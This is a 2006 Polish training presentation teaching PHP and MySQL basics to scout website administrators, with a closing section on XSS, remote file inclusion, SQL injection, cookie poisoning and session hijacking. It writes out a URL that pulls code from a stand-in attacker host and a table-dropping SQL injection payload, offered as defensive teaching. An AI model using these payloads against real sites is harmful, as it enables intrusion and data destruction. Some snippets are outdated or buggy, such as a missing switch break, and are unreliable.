Programowanie. Początki i rozwój programisty. Szkolenie dla administratorów stron internetowych hufców Śląskiej Chorągwi ZHP Chorzów 2006.11.25 Istota i sens programowania Umiejętność dobrego programowania aplikacji internetowych ma wpływ na: • Łatwość poruszania się w świecie nowoczesnych technologii • Możliwość bycia niezależnym w pewnych obszarach informatyki • Możliwość tworzenia autorskich aplikacji • Możliwość samodzielnego rozwoju aplikacji • Możliwość informatyzacji niektórych procesów i procedur • Zwiększenie funkcjonalności stron internetowych • Wzrost efektywności, wydajności i efektowności aplikacji • Wzrost zainteresowania prowadzonymi serwisami internetowymi • Wzrost oglądalności prowadzonych stron WWW • Posiadanie przyszłościowych perspektyw Przygotowanie do programowania aplikacji internetowych Wybór języka programowania Wybrane języki umożliwiające tworzenie aplikacji internetowych: • ASP • CGI • JSP • Ruby • PHP – PHP Hypertext Preprocessor Najczęstszy Schemat działania aplikacji PHP Wybór serwera HTTP Serwery, z którymi może współpracować PHP: • Zeus • OmniHTTPd • Xitami • IIS • Apache Wybór bazy danych Bazy danych obsługiwane przez PHP: • FrontBase • Firebird/Interbase • Informix • Ingres II • mSQL • MS SQL • Oracle • ODBC • Sysbase • PostgreSQL • MySQL Wybór oprogramowania do obsługi bazy danych Wybrane narzędzia: • phpMyAdmin • MySQL Gui Tools – – – – – Migration toolkit Query browser Administrator Workbench System Tray Monitor • Navicat Wybór edytora Wybrane edytory: • Notatnik • Edit plus • Pajączek 5 NxG Pro Część ważnych funkcji dobrych edytorów: • Kolorowanie składni • Numerowanie linii • Praca w zakładkach • Zaawansowane przeszukiwanie pliku/plików • Masowe operacje na plikach • Zarządzanie projektami/serwisami • Duże możliwości konfiguracyjne Instalacja oprogramowania na serwerze Wybrane gotowe pakiety instalacyjne: • Fox serv • PHP Triad • Krasnal Większość pakietów najczęściej instaluje w komputerze serwer HTTP wraz z PHP i bazą danych, które zaraz po instalacji są gotowe do użycia. Rozpoczynanie programowania, podstawy PHP Skrypty PHP Skrypty PHP najczęściej posiadają rozszerzenie *.php i są tworzone przy pomocy dowolnego edytora tekstów. Skrypty PHP mogą być zwykłymi plikami, w których zagnieżdżone są instrukcje PHP. Parser PHP wykonuje kod, który znajduje się pomiędzy instrukcjami . Oto przykład: Trzy razy trzy jest <?php echo(3 * 3) ?> Komentarze Komentarze są elementem składni obecnym w każdym języku programowania. Komentarze to sposób, aby zawrzeć w kodzie źródłowym własne przemyślenia, pomysły dotyczące kodu, czy też prawa autorskie. Przeważnie są stosowane do opisu kodu, wytycznych, co robi dana linia. Komentarze są całkowicie ignorowane przez interpreter. Istnieje kilka sposób komentowania kodu. <?php echo 'Hello World!'; // przywitanie # to jest komentarz /* a to jest komentarz, który może się znajdować w wielu liniach */ ?> Instrukcje Programowanie opiera się na stosowaniu instrukcji języka, czytelnych dla parsera. W większości języków programowania jest tak, że instrukcje musza być oddzielone od siebie znakiem średnika (;). Przykład: <?php echo 3 * 3; echo 4 * 3; echo('Hello World!'); ?> Typy danych Pomimo tego, że PHP jest bardzo elastyczny, do jednej zmiennej możemy przypisać dowolne dane, to istnieje możliwość ustalenia typu wcześniej. W językach takich jak C, czy Delphi przy deklaracji zmiennej musimy określić jej typ, czy będzie to liczba, czy tekst itd. PHP rozpoznaje następujące typy danych: · boolean – tzw. boolowski (true lub false); · integer – liczba całkowita; · float – liczba zmiennoprzecinkowa; · string – łańcuch znaków; · array – tablica; · object – obiekt; · resource – zasoby; Zmienne Zmienne to kolejny element dostępny praktycznie w każdym języku programowania. Stanowi on swoisty pojemnik na dane. W każdym momencie możemy zadeklarować zmienną, przypisać jej dane, aby później ów dane odczytać. Zmienne w PHP deklaruje się w bardzo prosty sposób, z użyciem znaku dolara ($). PHP, w przeciwieństwie do innych języków programowania, nie wymaga określania typu zmiennej. Oznacza to, że jedna zmienna może zawierać dane w postaci liczbowej, tekstowej lub logicznej. Przypisanie danych do zmiennej odbywa się przy pomocy operatora przypisania (=). Przykład: <?php $zmienna1 = 10; $zmienna2 = 'Tekst'; $zmienna3 = true; echo $zmienna2; ?> Operatory Operatory służą do manipulacji danymi. Dzielą się na kilka kategorii. • Operatory arytmetyczne ( + - * / ) • Operatory przypisania ( = += .= itd. ) • Operatory porównania ( == <> === != > < <= >= ) • Operatory bitowe ( & | ^ ~ << >> ) • Operatory logiczne ( and or xor ! && || ) • Operatory łańcuchowe ( = .=) • Operatory inkrementacji i dekrementacji ( ++ -- ) • Operatory kontroli błędów ( @ ) Instrukcje warunkowe Instrukcje if, else, elseif Podstawową instrukcją warunkową jest if, która wykonuje dane działania w zależności, do tego, czy podany warunek zostanie spełniony. Często tworzy się bloki także z wykorzystaniem instrukcji else oraz elseif. Blok instrukcji może posiadać taką konstrukcję: if (warunek) {instrukcja} elseif(kolejny warunek) {instrukcja} else {instrukcja} Wraz z instrukcjami warunkowymi, bardzo często wykorzystywane są operatory logiczne oraz porównania: <?php $var = true; if ($var == true) { echo 'Zmienna $var posiada wartość true'; } elseif($var < ‘4’) { echo 'Zmienna $var nie posiada wartości true i jej wartość jest mniejsza od liczby 4'; } else { echo 'Zmienna $var nie posiada wartości true, a jej wartość nie jest mniejsza od liczby 4'; } ?> Instrukcja Switch Instrukcja switch używana jest przeważnie w przypadkach, gdy mamy do czynienia z wyliczeniem wielu możliwych działań w zależności od uzyskanej wartości. Stosuje się ją w przypadkach, które wymagałyby wielu instrukcji if. Przykładowa instrukcja switch: <?php $jezyk = 'pl'; switch ( $jezyk ) { case 'pl': $powitanie = 'Witaj!'; break; case 'en': $powitanie = 'Welcome!'; break; case 'de': $powitanie = 'Willkommen!'; default: $powitanie = 'Witaj!'; } echo $powitanie; ?> Pętle Pętla while Pętla while jest najprostsza pętla oferowana w PHP. Przed wykonaniem sprawdza warunek jej zakończenia i jeżeli zostaje on spełniony – nie wykonuje żadnych instrukcji. Jeżeli warunek nie zostanie spełniony wykonuje instrukcje z ciała pętli do momentu spełnienia warunku. Oto budowa pętli while: while (warunek) { instrukcje; } <?php $i = 0; // deklarujemy zmienną (licznik) while ( $i < 10 ) // wykonuj dopóki zmienna $i jest mniejsza od 10 { $i++; // zwieksz licznik o 1 } echo "Pętla została wykonana $i razy."; ?> Pętla do ... while Pętla do ... while jest bardzo podobna do pętli while. W zasadzie jedyna różnicą jest fakt, iż warunek zakończenia pętli sprawdzany jest na końcu, a nie na początku, jak to ma miejsce przy pętli while. Oznacza to, że pętla zawsze, zostanie wykonana, co najmniej raz. Przykład: <?php $bool = false; do { echo 'Witaj!'; } while ($bool); ?> Pętla for Pętla for zasadniczo różni się od wspomnianych wcześniej pętli. W pierwszym wierszu pętli znajdują się wszystkie wyrażenia kontrolujące: for (wyraenie1; wyraenie2; wyraenie3) { instrukcje; } Przykład: <?php for ( $i = 1; $i <= 10; $i++ ) { echo "Napis nr $i<br/>"; } ?> Funkcje Idea programowania proceduralnego zaczęła się pojawiać wraz z bardziej zaawansowanymi programami. Tradycyjny moduł projektowania nie sprawdzał się dobrze, gdy programy zaczęły być bardziej skomplikowane – wówczas ich konserwacja i naprawianie błędów było niezwykle trudne. Ktoś mądry wymyślił wtedy, że można by było program dzielić na mniejsze części – tzw. procedury. Taką procedurę można zawrzeć w funkcji i wywoływać wielokrotnie. Przykład: <?php function Fahrenheit( $Celsius ) { return ( $Celsius * 9/5 + 32 ); } $Celcius = 30; echo "$Celcius stopni Celsjusza to " . Fahrenheit($Celcius) . " stopni Fahrenheita"; ?> Manual PHP Manual PHP, jest to swego rodzaju Vademecum, w którym można znaleźć dokumentację całego opisywanego języka wraz z przykładami. Istnieje również możliwość przeglądania strony w polskiej wersji językowej. Manual jest dostępny na oficjalnej stronie PHP pod adresem http://www.php.net . Można go także ściągnąć z wymienionej strony w wersji off-line. Najczęściej stosowane schematy programowania • Programowanie strukturalne (ang. Structural Programming) • Programowanie zorientowane obiektowo (ang. Object Oriented Programming) Wykorzystanie baz danych w aplikacjach • Wykorzystanie bazy danych w aplikacjach wymaga znajomości strukturalnego języka zapytań SQL • Baza danych usprawnia organizację serwisów internetowych posiadających dużą ilość informacji • Istnieje możliwość operacji na danych – Dodawanie – Edycja – Usuwanie – Przeszukiwanie – Sortowanie – Dynamiczne porcjowanie – Archiwizowanie – Zabezpieczanie • Możliwość integracji z różnymi systemami • Bazę danych można projektować z wykorzystaniem odpowiednich narzędzi Komunikacja z bazą danych MySQL w PHP Prosty przykład obrazujący komunikację z bazą danych MySQL za pośrednictwem PHP: <?php $polaczenie = mysql_connect('localhost', 'uzytkownik', 'haslo'); $wybranaBaza = mysql_select_db('mojabaza',); if($polaczenie) { print 'Połączenie nawiązane<br/>'; if($wybranaBaza) { print 'Baza wybrana'; $zapytanie = mysql_query('SELECT id, nazwa FROM tabela'); $tablica = mysql_fetch_array($zapytanie); print '<br/>Pobrane dane: '; print_r($tablica); } else { print 'Nie można wybrać bazy<br/>'; } } else { print 'Nie można nawiązać połączenia'; } mysql_close($polaczenie); ?> Programowanie zaawansowanych aplikacji w PHP Ogólny proces projektowania złożonego systemu Ustalanie wymagań jakie ma spełniać projekt Diagramy klas Diagramy aktywności Diagramy przebiegu Diagramy stanów Diagramy komponentów i instalacji Tworzenie specyfikacji systemu Wprowadzanie poprawek Faza testowania Finalizacja pracy Sporządzanie dokumentacji systemu Budowa systemu Sporządzanie Diagramów (UML) Sporządzanie szkieletu aplikacji Zestaw często używanych narzędzi Podczas tworzenia aplikacji internetowych korzysta się ze stałych rozwiązań i komponentów, dlatego warto przygotować sobie zestaw często używanych elementów, w celu zwiększenia wydajności i efektywności systemu, a także szybkości tworzenia projektu. Główne elementy podstawowego szkieletu aplikacji, czyli tzw. framework-a - Sterownik bazy danych - Szkielet kontrolera i elementów sterujących - Szkielet uniwersalnej warstwy modelu - Szkielet uniwersalnej warstwy widoku - System szablonów - Dodatkowe komponenty Frameworki Framework to szkielet aplikacji, który można wykorzystywać do tworzenia własnych projektów. Nic też nie stoi na przeszkodzie, aby napisać własnego frameworka, co jest nawet bardziej wskazane. Wszystkie aplikacje tego typu są napisane obiektowo i korzystają z tzw. wzorców projektowych. Istnieją duże, otwarte projekty programistyczne mające na celu tworzenie i rozwijanie frameworków. Niektóre z nich to: • Mojavi • PHP Cake Wzorce projektowe Wzorce projektowe są to koncepcje programistyczne usprawniające proces projektowania i funkcjonowania aplikacji oraz rozwiązujące niektóre problemy, z którymi borykają się programiści. Jednym z najbardziej popularnych wzorców jest MVC. Model-View-Controller (Model-Widok-Sterownik). Schemat MVC: Różne źródła danych Użytkownik Różne formy prezentacji danych Pobieranie danych i operacje na nich Model Sterownik Przesyłanie i zapisywanie danych Przesyłanie danych Widok Wybrane ataki na aplikacje i ochrona przed nimi Cross Site Scripting (XSS) XSS jest to technika przechwytywania informacji wykorzystująca możliwość przesyłania danych sterujących (najczęściej kodu HTML lub poleceń języka JavaScript) do innego klienta serwera HTTP interpretującego te dane jako pochodzące z zaufanego źródła (zaufane źródło to np. twórcy danego serwisu WWW). XSS – brak filtracji danych Często brak filtracji danych pochodzących z formularzy na stronie umożliwia uszkodzenie struktury wizualnej strony lub umieszczenie złośliwego kodu JavaScript. Przykładowy, wypełniony formularz może wyglądać tak: Natomiast efektem braku filtracji danych będzie wyświetlenie się, w miejscu przechowywania konkretnych wpisów, komunikatu: W celu zapobiegania włączania kodu w taki sposób, należy stosować funkcję htmlentities(), która odpowiednio przekształca znaczniki. XSS – włączanie zewnętrznego kodu do aplikacji server-side Czasami dane znajdujące się w adresie nie są filtrowane, a czasem także bezpośrednio z niego sczytywane, co również umożliwia potencjalny atak. Przykładowe kody, umożliwiające atak mogą wyglądać następująco: 1) http://www.przykladowastrona.pl/plik.php?id=<h1>Przykładowy tekst</h1> W przypadku, gdy strona wyświetla dane pochodzące bezpośrednio z adresu, kod <h1>Przykładowy tekst</h1> zostanie wyświetlony na stronie. 2) http://www.przykladowastrona.pl/plik.php?id=http://strona-hakera.pl/skrypt.txt W przypadku, gdy strona włącza dane pochodzące z plików i nie filtruje adresu, jest możliwe włączenie dowolnego kodu PHP z zewnątrz i jego wykonanie na serwerze ofiary. Osoba atakująca uzyskuje wtedy praktycznie pełne prawa do operacji na plikach strony (tworzenie, edycja, usuwanie). SQL Injection Atak typu SQL injection polega na ingerowaniu w zapytania SQL, co umożliwia operacje w bazie danych Przykładowy kod: http://www.przykladowastrona.pl/plik.php?id=1;DROP%20TABLE%20informacje;-Jeżeli wartość zmiennej o nazwie id jest częścią jakiegoś zapytania, które nie jest odpowiednio zabezpieczone, zostanie usunięta tabela o nazwie informacje. Znak średnika (;) oznacza zakończenie jednego zapytania do bazy. Po nim można rozpocząć kolejne, które wygląda w tym przypadku następująco: DROP TABLE informacje; To zapytanie usuwa z bazy tabelę o nazwie informacje. Kończy je średnik, po którym następuje znak rozpoczęcia komentarza SQL (--), co oznacza, że dalsza część kodu SQL, który mógł zostać zamieszczony w pliku, nie wykona się. Łatwym sposobem na uchronienie się przed tego typu atakami, jest stosowanie funkcji mysql_escape_string() oraz definiowanie typów danych. Cookie poisoning Atak typu cookie poisoning polega na odpowiednim preparowaniu plików ciasteczek (cookie), które są zapisywane w komputerze odwiedzającego daną stronę internetową. Modyfikacja ciasteczek może umożliwić, w przypadku źle napisanych aplikacji, uzyskanie uprawnień administratora bez znajomości jego hasła przez osoby do tego nie uprawnione. W celu zabezpieczenia się przed tym należy nie przechowywać uprawnień administracyjnych w plikach cookie. Należy tam zawierać jedynie login i zahaszowane hasło użytkownika, a następnie porównywać je z danymi znajdującymi się w bazie danych, po czym nadawać uprawnienia na podstawie tejże bazy. Przechwytywanie sesji Sesje, podobnie jak cookie, pozwalają na przechowywanie danych w plikach, z tym wyjątkiem, że owe pliki są zapisywane w katalogach systemowych na serwerze, a nie na dysku komputera odwiedzającego stronę. Sesje mają także krótki czas życia, a cookie mogą być aktualne bardzo długo. Słabo zabezpieczone serwery pozwalają na przeglądanie swoich katalogów systemowych. Można to robić z poziomu PHP. Czasem jest także dostęp do katalogu z sesjami. Posiadając identyfikator sesji można np. uzyskać uprawnienia administracyjne dla jakiejś strony. Należy także wiedzieć (lub ewentualnie zgadnąć) jaki identyfikator odpowiada interesującej nas stronie i czy jakiś administrator jest tam aktualnie zalogowany. Przykładem na słabe zabezpieczenie serwera jest serwis http://freefronthost.com oferujący darmowy hosting. Na tym serwerze można przeglądać pliki znajdujące się w wyższych katalogach niż własne konto, w tym także sesji, co stwarza potencjalne niebezpieczeństwo. Rozwiązaniem tego problemu może być stworzenie własnego mechanizmu sesji. Sposoby wykorzystania PHP • Projektowanie stron internetowych • Kontrola procesów systemowych (głównie w systemach typu UNIX) • Inne zastosowania PHP daje bardzo szerokie możliwości. Sposób, w jaki wykorzysta się ten język zależy wyłącznie od własnej kreatywności. Projektowanie chat bota W PHP można stworzyć namiastkę sztucznej inteligencji w postaci chat bota, którego następnie można zintegrować z IRC botem, który również może być napisany w PHP. Zarządzanie komputerem przez telefon komórkowy Kolejną rzeczą, jaką można stworzyć w PHP, jest aplikacja pozwalająca na zarządzanie komputerem przez telefon komórkowy. Tworzenie arkuszy MS Excel PHP pozwala także na generowanie arkuszy MS Excel. Jest to przydatne przy dynamicznej prezentacji danych pochodzących np. z bazy danych. Stworzenie takiego arkusza jest bardzo proste. Polega to na wysłaniu odpowiedniego dla aplikacji Excel nagłówka do przeglądarki, a następnie wstawieniu tabeli w formacie HTML. Oto przykład: <?php header("Content-type: application/vnd.ms-excel"); echo ‘<html><head></head><body>’; echo ‘<table><tr><td>komórka nr 1</td><td>Komórka nr 2</td></tr>’; echo ‘</table>’; ?> Poszukiwanie dalszych informacji. Pomocne adresy WWW i książki 1. 1.1. 1.2. 2. 2.1. 2.2. 2.3. 2.4. 2.5. 2.6. 2.7. 2.8. 2.9. 2.10. 2.11. 3. 3.1. 3.2. 3.3. 3.4. 4. 4.1. 4.2. 4.3. 4.4. 5. 5.1. 5.2. 5.3. Podstawowe strony http://www.php.net http://www.php.net/manual/pl/ Polskie strony http://www.php.pl http://www.forum.php.pl http://www.wiki.php.pl http://www.php5.pl http://www.webhelp.pl http://www.4programmes.net http://www.strefaphp.net http://www.webcity.pl http://www.krasnal.tk http://www.phpsolmag.org http://advajax.anakin.us Zagraniczne (angielskie) strony http://www.patternsforphp.com/ http://www.phppatterns.com/ http://www.sitepoint.com http://adaptivepath.com Strony dotyczące bazy danych MySQL http://mysql.com/ http://dev.mysql.com/downloads/ http://webcity.pl/webcity/kursy.php?k=mysql http://www.navicat.com Literatura PHP 4 – Ćwiczenia praktyczne oraz PHP 5 – Ćwiczenia praktyczne PHP 5 – Zaawansowane programowanie Inne książki dobrych wydawnictw (np. Helion) http://helion.pl/search.cgi?szukaj=php Dziękuję za uwagę Piotr Wittchen <[email protected]>